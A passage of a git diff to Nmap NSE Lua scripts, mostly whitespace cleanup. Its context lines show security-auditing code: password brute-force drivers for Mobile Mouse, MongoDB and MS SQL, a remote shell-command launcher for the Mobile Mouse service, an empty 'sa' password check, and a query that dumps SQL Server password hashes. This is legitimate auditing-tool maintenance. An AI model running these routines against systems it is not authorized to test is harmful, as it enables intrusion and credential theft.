err:setRetry( true ) - return false, err + return false, err end - + local status, data = self.socket:receive_buf("\04", true) if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then @@ -73,16 +73,16 @@ Driver = { elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then return true, brute.Account:new("", password, creds.State.VALID) end - + local err = brute.Error:new("An unexpected error occured, retrying ...") err:setRetry(true) return false, err end, - + disconnect = function(self) self.socket:close() end, - + } local function hasPassword(host, port) @@ -92,7 +92,7 @@ local function hasPassword(host, port) end local status = driver:login(nil, "nmap") driver:disconnect() - + return not(status) end @@ -103,16 +103,16 @@ action = function(host, port) return "\n Server has no password" end - local status, result + local status, result local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true engine.options:setOption( "passonly", true ) -- mouse server does not behave well when multiple threads are guessing engine:setMaxThreads(1) - + status, result = engine:start() return result diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse index 4fde1dbaa..412592b6d 100644 --- a/scripts/mmouse-exec.nse +++ b/scripts/mmouse-exec.nse @@ -25,7 +25,7 @@ and abort unless the OS is detected as Mac. -- @output -- PORT STATE SERVICE REASON -- 51010/tcp open unknown syn-ack --- | mmouse-exec: +-- | mmouse-exec: -- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1" -- -- @args mmouse-exec.password The password needed to connect to the mobile @@ -56,7 +56,7 @@ local function receiveData(socket, cmd) if ( not(status) ) then return false, "Failed to receive data from server" end - until( cmd == nil or data:match("^" .. cmd) ) + until( cmd == nil or data:match("^" .. cmd) ) return true, data end @@ -65,7 +65,7 @@ local function authenticate(socket, password) local devname = "Lord Vaders iPad" local suffix = "2".."\30".."2".."\04" local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) - + local status = socket:send(auth) if ( not(status) ) then return false, "Failed to send data to server" @@ -86,7 +86,7 @@ local function authenticate(socket, password) return false, "Failed to send request to server" end if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then - return false, "Failed to send request to server" + return false, "Failed to send request to server" end return true end @@ -99,7 +99,7 @@ local function processSwitchMode(socket, swmode) stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o) return false, "Failed to parse SWITCHMODE" end - + local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2) local status = socket:send(str) if ( not(status) ) then @@ -114,16 +114,16 @@ local function executeCmd(socket, app, keys) if ( not(status) ) then return false, "Failed to send data to server" end - + local status, data = receiveData(socket) if ( not(status) ) then return false, "Failed to receive data from server" end - + if ( arg_delay ) then stdnse.sleep(tonumber(arg_delay)) end - + if ( keys ) then local cmd = ("KEYSTRING\30%s\n\04"):format(keys) if ( not(socket:send(cmd)) ) then @@ -140,7 +140,7 @@ action = function(host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port) local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)() local password = arg_password or (credentials and credentials.pass) or "" - + if ( not(arg_app) ) then return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME)) end @@ -148,7 +148,7 @@ action = function(host, port) if ( not(arg_keys) ) then return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME)) end - + local socket = nmap.new_socket() socket:set_timeout(10000) local status, err = socket:connect(host, port) @@ -160,7 +160,7 @@ action = function(host, port) if ( not(status) ) then return fail(err) end - + local data status, data = receiveData(socket, "SWITCHMODE") if ( not(status) ) then @@ -170,10 +170,10 @@ action = function(host, port) if ( not(processSwitchMode(socket, data)) ) then return fail("Failed to process SWITCHMODE command") end - + if ( not(executeCmd(socket, arg_app, arg_keys)) ) then return fail("Failed to execute application") end - + return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys) end diff --git a/scripts/mongodb-brute.nse b/scripts/mongodb-brute.nse index 9f314165b..dea4b2ebe 100644 --- a/scripts/mongodb-brute.nse +++ b/scripts/mongodb-brute.nse @@ -17,7 +17,7 @@ Performs brute force password auditing against the MongoDB database. -- @output -- PORT STATE SERVICE -- 27017/tcp open mongodb --- | mongodb-brute: +-- | mongodb-brute: -- | Accounts -- | root:Password1 - Valid credentials -- | Statistics @@ -34,18 +34,18 @@ local arg_db = stdnse.get_script_args(SCRIPT_NAME .. ".db") or "admin" portrule = shortport.port_or_service({27017}, {"mongodb"}) Driver = { - + new = function(self, host, port, options) local o = { host = host, port = port, sock = nmap.new_socket() } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) return self.sock:connect(self.host, self.port) end, - + login = function(self, username, password) local status, resp = mongodb.login(self.sock, arg_db, username, password) if ( status ) then @@ -53,15 +53,15 @@ Driver = { elseif ( resp ~= "Authentication failed" ) then local err = brute.Error:new( resp ) err:setRetry( true ) - return false, err + return false, err end return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function(self) return self.sock:close() end, - + } local function needsAuth(host, port) @@ -76,13 +76,13 @@ local function needsAuth(host, port) if ( not(status) ) then return false, result end - + --- Send packet status, result = mongodb.query(socket, packet) if ( not(status) ) then return false, result end - + socket:close() if ( status and result.errmsg ) then return true @@ -97,7 +97,7 @@ action = function(host, port) end local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true local status, result = engine:start() diff --git a/scripts/mongodb-databases.nse b/scripts/mongodb-databases.nse index 683a7cf1a..1cdde1281 100644 --- a/scripts/mongodb-databases.nse +++ b/scripts/mongodb-databases.nse @@ -15,7 +15,7 @@ Attempts to get a list of tables from a MongoDB database. -- @output -- PORT STATE SERVICE REASON -- 27017/tcp open unknown syn-ack --- | mongodb-databases: +-- | mongodb-databases: -- | ok = 1 -- | databases -- | 1 @@ -52,18 +52,18 @@ portrule = shortport.port_or_service({27017}, {"mongodb"}) function action(host,port) local socket = nmap.new_socket() - + -- set a reasonable timeout value socket:set_timeout(10000) -- do some exception / cleanup local catch = function() socket:close() end - + local try = nmap.new_try(catch) try( socket:connect(host, port) ) - + -- uglyness to allow creds.mongodb to work, as the port is not recognized -- as mongodb, unless a service scan was run local ps = port.service @@ -76,23 +76,23 @@ function action(host,port) end end port.service = ps - + local req, result, packet, err, status --Build packet status, packet = mongodb.listDbQuery() if not status then return result end-- Error message - + --- Send packet status, result = mongodb.query(socket, packet) if not status then return result end-- Error message - + port.version.name ='mongodb' port.version.product='MongoDB' nmap.set_port_version(host,port) local output = mongodb.queryResultToTable(result) - if err ~= nil then - stdnse.log_error(err) + if err ~= nil then + stdnse.log_error(err) end if result ~= nil then return stdnse.format_output(true, output ) diff --git a/scripts/mongodb-info.nse b/scripts/mongodb-info.nse index 93065f36a..f2cdcca19 100644 --- a/scripts/mongodb-info.nse +++ b/scripts/mongodb-info.nse @@ -15,7 +15,7 @@ Attempts to get build info and server status from a MongoDB database. -- @output -- PORT STATE SERVICE REASON -- 27017/tcp open unknown syn-ack --- | mongodb-info: +-- | mongodb-info: -- | MongoDB Build info -- | ok = 1 -- | bits = 64 @@ -67,20 +67,20 @@ portrule = shortport.port_or_service({27017}, {"mongodb"}) function action(host,port) local socket = nmap.new_socket() - + -- set a reasonable timeout value socket:set_timeout(10000) -- do some exception / cleanup local catch = function() socket:close() end - + local try = nmap.new_try(catch) try( socket:connect(host, port) ) - + local req, statusresponse, buildinfo, err - + -- uglyness to allow creds.mongodb to work, as the port is not recognized -- as mongodb, unless a service scan was run local ps = port.service @@ -93,15 +93,15 @@ function action(host,port) end end port.service = ps - + local status, packet = mongodb.serverStatusQuery() if not status then return packet end local statQResult, buildQResult status,statQResult = mongodb.query(socket, packet) - + if not status then return statQResult end - + port.version.name ='mongodb' port.version.product='MongoDB' port.version.name_confidence = 10 @@ -109,11 +109,11 @@ function action(host,port) status, packet = mongodb.buildInfoQuery() if not status then return packet end - + status, buildQResult = mongodb.query(socket,packet ) - - if not status then - stdnse.log_error(buildQResult) + + if not status then + stdnse.log_error(buildQResult) return buildQResult end @@ -124,6 +124,6 @@ function action(host,port) local stat_out = mongodb.queryResultToTable(statQResult) local build_out = mongodb.queryResultToTable(buildQResult) local output = {"MongoDB Build info",build_out,"Server status",stat_out} - + return stdnse.format_output(true, output ) end diff --git a/scripts/mrinfo.nse b/scripts/mrinfo.nse index 080703e0c..54d0163f8 100644 --- a/scripts/mrinfo.nse +++ b/scripts/mrinfo.nse @@ -18,7 +18,7 @@ no specific target is specified, the request will be sent to the 224.0.0.1 All Hosts multicast address. This script is similar somehow to the mrinfo utility included with Windows and -Cisco IOS. +Cisco IOS. ]] --- @@ -35,7 +35,7 @@ Cisco IOS. -- --@output -- Pre-scan script results: --- | mrinfo: +-- | mrinfo: -- | Source: 224.0.0.1 -- | Version 12.4 -- | Local address: 172.16.0.2 @@ -70,7 +70,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"discovery", "safe", "broadcast"} -prerule = function() +prerule = function() if nmap.address_family() ~= 'inet' then stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) return false @@ -115,7 +115,7 @@ local mrinfoParse = function(data) index, address.treshold= bin.unpack(">C", data, index) -- Flags index, address.flags = bin.unpack(">C", data, index) - -- Number of neighbors + -- Number of neighbors index, address.ncount = bin.unpack(">C", data, index) address.neighbors = {} @@ -153,7 +153,7 @@ local mrinfoListen = function(interface, timeout, responses) -- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06) if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then response = mrinfoParse(mrinfo_raw) - if response then + if response then response.srcip = p.ip_src table.insert(responses, response) end @@ -182,7 +182,7 @@ local mrinfoRaw = function() -- Calculate checksum mrinfo_raw = mrinfo_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5) - return mrinfo_raw + return mrinfo_raw end -- Function that sends a DVMRP query. @@ -193,7 +193,7 @@ local mrinfoQuery = function(interface, dstip) local srcip = interface.address local mrinfo_raw = mrinfoRaw() - local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw + local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len()) mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip)) mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip)) @@ -248,9 +248,9 @@ action = function() local responses = {} local interface, result - interface = nmap.get_interface() + interface = nmap.get_interface() if interface then - interface = nmap.get_interface_info(interface) + interface = nmap.get_interface_info(interface) else interface = getInterface(target) end diff --git a/scripts/ms-sql-brute.nse b/scripts/ms-sql-brute.nse index a10aee7b6..e39ea86f1 100644 --- a/scripts/ms-sql-brute.nse +++ b/scripts/ms-sql-brute.nse @@ -92,7 +92,7 @@ local function create_instance_output_table( instance ) local credsOutput = {} credsOutput["name"] = "Credentials found:" table.insert( instanceOutput, credsOutput ) - + for username, result in pairs( instance.ms_sql_brute.credentials ) do local password = result[1] local errorCode = result[2] @@ -104,32 +104,32 @@ local function create_instance_output_table( instance ) table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) ) end end - + if ( #credsOutput == 0 ) then table.insert( instanceOutput, "No credentials found" ) end end - + if ( instance.ms_sql_brute.warnings ) then local warningsOutput = {} warningsOutput["name"] = "Warnings:" table.insert( instanceOutput, warningsOutput ) - + for _, warning in ipairs( instance.ms_sql_brute.warnings ) do table.insert( warningsOutput, warning ) end end - + if ( instance.ms_sql_brute.errors ) then local errorsOutput = {} errorsOutput["name"] = "Errors:" table.insert( instanceOutput, errorsOutput ) - + for _, error in ipairs( instance.ms_sql_brute.errors ) do table.insert( errorsOutput, error ) end end - + return instanceOutput end @@ -138,7 +138,7 @@ end local function test_credentials( instance, helper, username, password ) local database = "tempdb" local stopUser, stopInstance = false, false - + local status, result = helper:ConnectEx( instance ) local loginErrorCode if( status ) then @@ -146,7 +146,7 @@ local function test_credentials( instance, helper, username, password ) status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) end helper:Disconnect() - + local passwordIsGood, canLogin if status then passwordIsGood = true @@ -156,7 +156,7 @@ local function test_credentials( instance, helper, username, password ) ( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then stopUser = true end - + if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then @@ -178,21 +178,21 @@ local function test_credentials( instance, helper, username, password ) stopUser = true stopInstance = true end - + if ( passwordIsGood ) then stopUser = true - + instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode } -- Add credentials for other ms-sql scripts to use but don't -- add accounts that need to change passwords if ( canLogin ) then instance.credentials[ username ] = password -- Legacy storage method (does not distinguish between instances) - nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} + nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} nmap.registry.mssqlusers[username]=password end end - + return stopUser, stopInstance end @@ -205,39 +205,39 @@ local function process_instance( instance ) -- attempt once and then re-use the results. We'll use a mutex to make sure -- that multiple script instances (e.g. a host-script and a port-script) -- working on the same SQL Server instance can only enter this block one at - -- a time. + -- a time. local mutex = nmap.mutex( instance ) mutex( "lock" ) - + -- If this instance has already been tested (e.g. if we got to it by both the -- hostrule and the portrule), don't test it again. if ( instance.tested_brute ~= true ) then instance.tested_brute = true - + instance.credentials = instance.credentials or {} instance.ms_sql_brute = instance.ms_sql_brute or {} instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {} instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {} instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {} - + local result, status local stopUser, stopInstance local usernames, passwords, username, password local helper = mssql.Helper:new() - + if ( not instance:HasNetworkProtocols() ) then stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." ) stopInstance = true end - + status, usernames = unpwdb.usernames() if ( not(status) ) then stdnse.print_debug( 1, "%s: Failed to load usernames list.", SCRIPT_NAME ) table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." ) stopInstance = true end - + if ( status ) then status, passwords = unpwdb.passwords() if ( not(status) ) then @@ -246,40 +246,40 @@ local function process_instance( instance ) stopInstance = true end end - + if ( status ) then for username in usernames do if stopInstance then break end - + -- See if the password is the same as the username (which may not -- be in the password list) stopUser, stopInstance = test_credentials( instance, helper, username, username ) - + for password in passwords do if stopUser then break end - + stopUser, stopInstance = test_credentials( instance, helper, username, password ) end - + passwords("reset") end end end - + -- The password testing has been finished. Unlock the mutex. mutex( "done" ) - + return create_instance_output_table( instance ) - + end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts") - + if ( domain and not(bruteWindows) ) then local ret = "\n " .. "Windows authentication was enabled but the argument\n " .. @@ -289,7 +289,7 @@ action = function( host, port ) "(passdb argument) are at least 2 entries below the lockout threshold." return ret end - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -300,6 +300,6 @@ action = function( host, port ) end end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-config.nse b/scripts/ms-sql-config.nse index cce23d03d..3d0536833 100644 --- a/scripts/ms-sql-config.nse +++ b/scripts/ms-sql-config.nse @@ -79,35 +79,35 @@ portrule = mssql.Helper.GetPortrule_Standard() --- Processes a set of instances local function process_instance( instance ) - + local status, errorMessage local result, result_part = {}, {} - local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" + local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" or " WHERE configuration_id > 16384" - local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" + local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" or " WHERE name NOT IN ('master','model','tempdb','msdb')" local helper = mssql.Helper:new() - - local queries = { - [2]={ ["Configuration"] = [[ SELECT name, - cast(value as varchar) value, - cast(value_in_use as varchar) inuse, - description - FROM sys.configurations ]] .. conf_filter }, - [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername - FROM master..sysservers + + local queries = { + [2]={ ["Configuration"] = [[ SELECT name, + cast(value as varchar) value, + cast(value_in_use as varchar) inuse, + description + FROM sys.configurations ]] .. conf_filter }, + [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername + FROM master..sysservers WHERE srvid > 0 ]] }, - [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255), + [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255), dbid int, created datetime, status varchar(512), compatibility_level int ) INSERT INTO #nmap_dbs EXEC sp_helpdb - SELECT name, db_size, owner + SELECT name, db_size, owner FROM #nmap_dbs ]] .. db_filter .. [[ DROP TABLE #nmap_dbs ]] } } - + status, errorMessage = helper:ConnectEx( instance ) if ( not(status) ) then result = "ERROR: " .. errorMessage end - + if status then status, errorMessage = helper:LoginEx( instance ) if ( not(status) ) then result = "ERROR: " .. errorMessage end @@ -127,13 +127,13 @@ local function process_instance( instance ) table.insert( result, result_part ) end end - + helper:Disconnect() - + local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, result ) - + return instanceOutput end @@ -141,7 +141,7 @@ end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -152,6 +152,6 @@ action = function( host, port ) end end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-dac.nse b/scripts/ms-sql-dac.nse index 52030e8bd..d853bf937 100644 --- a/scripts/ms-sql-dac.nse +++ b/scripts/ms-sql-dac.nse @@ -28,7 +28,7 @@ accessible or not. -- sudo nmap -sU -p 1434 --script ms-sql-dac -- -- @output --- | ms-sql-dac: +-- | ms-sql-dac: -- |_ Instance: SQLSERVER; DAC port: 1533 -- @@ -73,7 +73,7 @@ end action = function( host ) local result, threads = {}, {} local condvar = nmap.condvar(result) - + local status, instanceList = mssql.Helper.GetTargetInstances( host ) -- if no instances were targeted, then display info on all if ( not status ) then @@ -82,7 +82,7 @@ action = function( host ) end instanceList = mssql.Helper.GetDiscoveredInstances( host ) end - + for _, instance in ipairs(instanceList or {}) do local name = instance:GetName():match("^[^\\]*\\(.*)$") if ( name ) then @@ -99,7 +99,7 @@ action = function( host ) condvar "wait" end end - + return stdnse.format_output( true, result ) end diff --git a/scripts/ms-sql-dump-hashes.nse b/scripts/ms-sql-dump-hashes.nse index 159e1aeb5..3e2a5d1e6 100644 --- a/scripts/ms-sql-dump-hashes.nse +++ b/scripts/ms-sql-dump-hashes.nse @@ -20,7 +20,7 @@ discovered by other scripts. -- @output -- PORT STATE SERVICE -- 1433/tcp open ms-sql-s --- | ms-sql-dump-hashes: +-- | ms-sql-dump-hashes: -- | nmap_test:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123 -- | sa:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123 -- |_ webshop_dbo:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123 @@ -46,29 +46,29 @@ local function process_instance(instance) local helper = mssql.Helper:new() local status, errorMessage = helper:ConnectEx( instance ) if ( not(status) ) then - return false, { - ['name'] = string.format( "[%s]", instance:GetName() ), - "ERROR: " .. errorMessage + return false, { + ['name'] = string.format( "[%s]", instance:GetName() ), + "ERROR: " .. errorMessage } end - + status, errorMessage = helper:LoginEx( instance ) if ( not(status) ) then - return false, { - ['name'] = string.format( "[%s]", instance:GetName() ), - "ERROR: " .. errorMessage + return false, { + ['name'] = string.format( "[%s]", instance:GetName() ), + "ERROR: " .. errorMessage } end local result - local query = [[ + local query = [[ IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0 SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0 SELECT name, password_hash FROM master.sys.sql_logins ]] status, result = helper:Query( query ) - + local output = {} if ( status ) then @@ -81,9 +81,9 @@ local function process_instance(instance) local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, output ) - + return true, instanceOutput - + end -- Saves the hashes to file @@ -109,7 +109,7 @@ action = function( host, port ) local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir") local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -121,12 +121,12 @@ action = function( host, port ) local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName() filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance)) saveToFile(filename, instanceOutput[1]) - end + end end table.insert( scriptOutput, instanceOutput ) end end - + if ( #scriptOutput == 0 ) then return end local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] ) diff --git a/scripts/ms-sql-empty-password.nse b/scripts/ms-sql-empty-password.nse index 48dfdc1aa..9c3a891d1 100644 --- a/scripts/ms-sql-empty-password.nse +++ b/scripts/ms-sql-empty-password.nse @@ -11,7 +11,7 @@ description = [[ Attempts to authenticate to Microsoft SQL Servers using an empty password for the sysadmin (sa) account. -SQL Server credentials required: No (will not benefit from +SQL Server credentials required: No (will not benefit from mssql.username & mssql.password). Run criteria: * Host script: Will run if the mssql.instance-all, mssql.instance-name @@ -63,7 +63,7 @@ portrule = mssql.Helper.GetPortrule_Standard() local function test_credentials( instance, helper, username, password ) local database = "tempdb" - + local status, result = helper:ConnectEx( instance ) local loginErrorCode if( status ) then @@ -71,7 +71,7 @@ local function test_credentials( instance, helper, username, password ) status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) end helper:Disconnect() - + local passwordIsGood, canLogin if status then passwordIsGood = true @@ -91,20 +91,20 @@ local function test_credentials( instance, helper, username, password ) else table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) ) end - + if ( passwordIsGood ) then local loginResultMessage = "Login Success" if loginErrorCode then loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error" end table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "", loginResultMessage ) ) - + -- Add credentials for other ms-sql scripts to use but don't -- add accounts that need to change passwords if ( canLogin ) then instance.credentials[ username ] = password -- Legacy storage method (does not distinguish between instances) - nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} + nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} nmap.registry.mssqlusers[username]=password end end @@ -119,33 +119,33 @@ local function process_instance( instance ) -- attempt once and then re-use the results. We'll use a mutex to make sure -- that multiple script instances (e.g. a host-script and a port-script) -- working on the same SQL Server instance can only enter this block one at - -- a time. + -- a time. local mutex = nmap.mutex( instance ) mutex( "lock" ) - + local status, result - + -- If this instance has already been tested (e.g. if we got to it by both the -- hostrule and the portrule), don't test it again. This will reduce the risk -- of locking out accounts. if ( instance.tested_empty ~= true ) then instance.tested_empty = true - + instance.credentials = instance.credentials or {} instance.ms_sql_empty = instance.ms_sql_empty or {} - + if not instance:HasNetworkProtocols() then stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) table.insert( instance.ms_sql_empty, "No network protocols enabled." ) end - + local helper = mssql.Helper:new() test_credentials( instance, helper, "sa", "" ) end - + -- The password testing has been finished. Unlock the mutex. mutex( "done" ) - + local instanceOutput if ( instance.ms_sql_empty ) then instanceOutput = {} @@ -157,16 +157,16 @@ local function process_instance( instance ) table.insert( instanceOutput, "'sa' account password is not blank." ) end end - + return instanceOutput - + end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else diff --git a/scripts/ms-sql-hasdbaccess.nse b/scripts/ms-sql-hasdbaccess.nse index 4e42834f4..7b8ae3e8f 100644 --- a/scripts/ms-sql-hasdbaccess.nse +++ b/scripts/ms-sql-hasdbaccess.nse @@ -46,11 +46,11 @@ be disabled using the mssql.scanned-ports-only script argument. -- nmap -p 1433 --script ms-sql-hasdbaccess --script-args mssql.username=sa,mssql.password=sa -- -- @args ms-sql-hasdbaccess.limit limits the amount of databases per-user --- that are returned (default 5). If set to zero or less all +-- that are returned (default 5). If set to zero or less all -- databases the user has access to are returned. -- -- @output --- | ms-sql-hasdbaccess: +-- | ms-sql-hasdbaccess: -- | [192.168.100.25\MSSQLSERVER] -- | webshop_reader -- | dbname owner @@ -81,26 +81,26 @@ portrule = mssql.Helper.GetPortrule_Standard() local function process_instance( instance ) - + local status, result, rs local query, limit local output = {} local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } - + local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } ) and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5 - + if ( RS_LIMIT <= 0 ) then limit = "" else limit = string.format( "TOP %d", RS_LIMIT ) end - - local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255), + + local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255), DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit, Suspect bit, Offline bit, InLoad bit, EmergencyMode bit, StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]], - + "INSERT INTO #hasaccess EXEC sp_MShasdbaccess", ("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)), @@ -117,11 +117,11 @@ local function process_instance( instance ) output = "ERROR: " .. result break end - + if ( status ) then status = helper:Login( username, password, nil, instance.host.ip ) end - + if ( status ) then for _, q in pairs(query) do status, result = helper:Query( q ) @@ -133,9 +133,9 @@ local function process_instance( instance ) end end end - + helper:Disconnect() - + if ( status and rs ) then result = mssql.Util.FormatOutputTable( rs, true ) result.name = username @@ -146,12 +146,12 @@ local function process_instance( instance ) end end end - - + + local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, output ) - + return instanceOutput end @@ -160,7 +160,7 @@ end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -171,6 +171,6 @@ action = function( host, port ) end end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-info.nse b/scripts/ms-sql-info.nse index 05be54ebb..18366a08c 100644 --- a/scripts/ms-sql-info.nse +++ b/scripts/ms-sql-info.nse @@ -12,7 +12,7 @@ description = [[ Attempts to determine configuration and version information for Microsoft SQL Server instances. -SQL Server credentials required: No (will not benefit from +SQL Server credentials required: No (will not benefit from mssql.username & mssql.password). Run criteria: * Host script: Will always run. @@ -27,10 +27,10 @@ The script uses two means of getting version information for SQL Server instance * Querying the SQL Server Browser service, which runs by default on UDP port 1434 on servers that have SQL Server 2000 or later installed. However, this service may be disabled without affecting the functionality of the instances. -Additionally, it provides imprecise version information. +Additionally, it provides imprecise version information. * Sending a probe to the instance, causing the instance to respond with information including the exact version number. This is the same method that -Nmap uses for service versioning; however, this script can also do the same for +Nmap uses for service versioning; however, this script can also do the same for instances accessiable via Windows named pipes, and can target all of the instances listed by the SQL Server Browser service. @@ -122,7 +122,7 @@ hostrule = function(host) local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} ) -- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open local smbPortNumber = smb.get_port( host ) - + if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or (sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or (sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or @@ -134,16 +134,16 @@ end --- Adds a label and value to an output table. If the value is a boolean, it is --- converted to Yes/No; if the value is nil, nothing is added to the table. +-- converted to Yes/No; if the value is nil, nothing is added to the table. local function add_to_output_table( outputTable, outputLabel, outputData ) if outputData == nil then return end - + if outputData == true then outputData = "Yes" elseif outputData == false then outputData = "No" end - + table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) ) end @@ -151,7 +151,7 @@ end --- Returns formatted output for the given version data local function create_version_output_table( versionInfo ) local versionOutput = {} - + versionOutput["name"] = "Version: " .. versionInfo:ToString() if ( versionInfo.source ~= "SSRP" ) then add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber ) @@ -159,7 +159,7 @@ local function create_version_output_table( versionInfo ) add_to_output_table( versionOutput, "Product", versionInfo.productName ) add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel ) add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched ) - + return versionOutput end @@ -173,7 +173,7 @@ local function create_instance_output_table( instance ) local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - + add_to_output_table( instanceOutput, "Instance name", 